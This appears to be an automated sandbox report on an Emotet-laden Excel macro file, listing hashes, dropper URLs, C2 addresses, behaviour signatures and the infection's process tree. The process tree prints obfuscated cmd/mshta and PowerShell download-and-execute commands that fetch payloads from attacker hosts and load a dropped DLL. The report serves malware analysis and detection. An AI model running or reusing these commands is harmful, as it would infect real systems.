Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19-01-2022 07:43

General

  • Target

    703323_67.xlsm

  • Size

    114KB

  • MD5

    f8ecaf3d4168b075f418c121a763ae0f

  • SHA1

    cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3

  • SHA256

    d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

  • SHA512

    bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\703323_67.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:880
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:480
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:840
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:928
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dfzxtmm\hbcfwxks.pyk",GSvlvpRneZn
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:904
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dfzxtmm\hbcfwxks.pyk",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1644

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • \Users\Public\Documents\ssd.dll

    MD5

    732cfa1b6a94a0e17e0d5df31fc2e397

    SHA1

    1d6ed042b9e6696a5a99a030f86a0b97eeb0bea6

    SHA256

    de9910632955a80e9dfd1818a3d263eb05aec7b034993253cf75229697c0ea3a

    SHA512

    4a4ff8c2fc8c70ab349dc99efb073c485440c803f3841f25e6785417223ff6bdc7129cf8917582ebb7489286bf28c36cbd6c024feb59cbe6ae09169cab8671f2

  • memory/840-70-0x00000000002B0000-0x00000000002D8000-memory.dmp

    Filesize

    160KB

  • memory/880-62-0x0000000002510000-0x000000000315A000-memory.dmp

    Filesize

    12.3MB

  • memory/880-63-0x0000000002510000-0x000000000315A000-memory.dmp

    Filesize

    12.3MB

  • memory/904-92-0x0000000000240000-0x0000000000268000-memory.dmp

    Filesize

    160KB

  • memory/928-77-0x00000000006B0000-0x00000000006D8000-memory.dmp

    Filesize

    160KB

  • memory/928-87-0x0000000002690000-0x00000000026B8000-memory.dmp

    Filesize

    160KB

  • memory/928-90-0x00000000028C0000-0x00000000028E8000-memory.dmp

    Filesize

    160KB

  • memory/928-85-0x00000000025D0000-0x00000000025F8000-memory.dmp

    Filesize

    160KB

  • memory/928-79-0x0000000000740000-0x0000000000768000-memory.dmp

    Filesize

    160KB

  • memory/928-83-0x0000000000950000-0x0000000000978000-memory.dmp

    Filesize

    160KB

  • memory/1644-95-0x0000000000770000-0x0000000000798000-memory.dmp

    Filesize

    160KB

  • memory/1644-97-0x00000000007D0000-0x00000000007F8000-memory.dmp

    Filesize

    160KB

  • memory/1644-99-0x0000000000990000-0x00000000009B8000-memory.dmp

    Filesize

    160KB

  • memory/1644-101-0x0000000001F50000-0x0000000001F78000-memory.dmp

    Filesize

    160KB

  • memory/1644-103-0x0000000002370000-0x0000000002398000-memory.dmp

    Filesize

    160KB

  • memory/1804-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1804-55-0x000000002F7D1000-0x000000002F7D4000-memory.dmp

    Filesize

    12KB

  • memory/1804-56-0x00000000713C1000-0x00000000713C3000-memory.dmp

    Filesize

    8KB

  • memory/1804-58-0x0000000075831000-0x0000000075833000-memory.dmp

    Filesize

    8KB

  • memory/1804-127-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB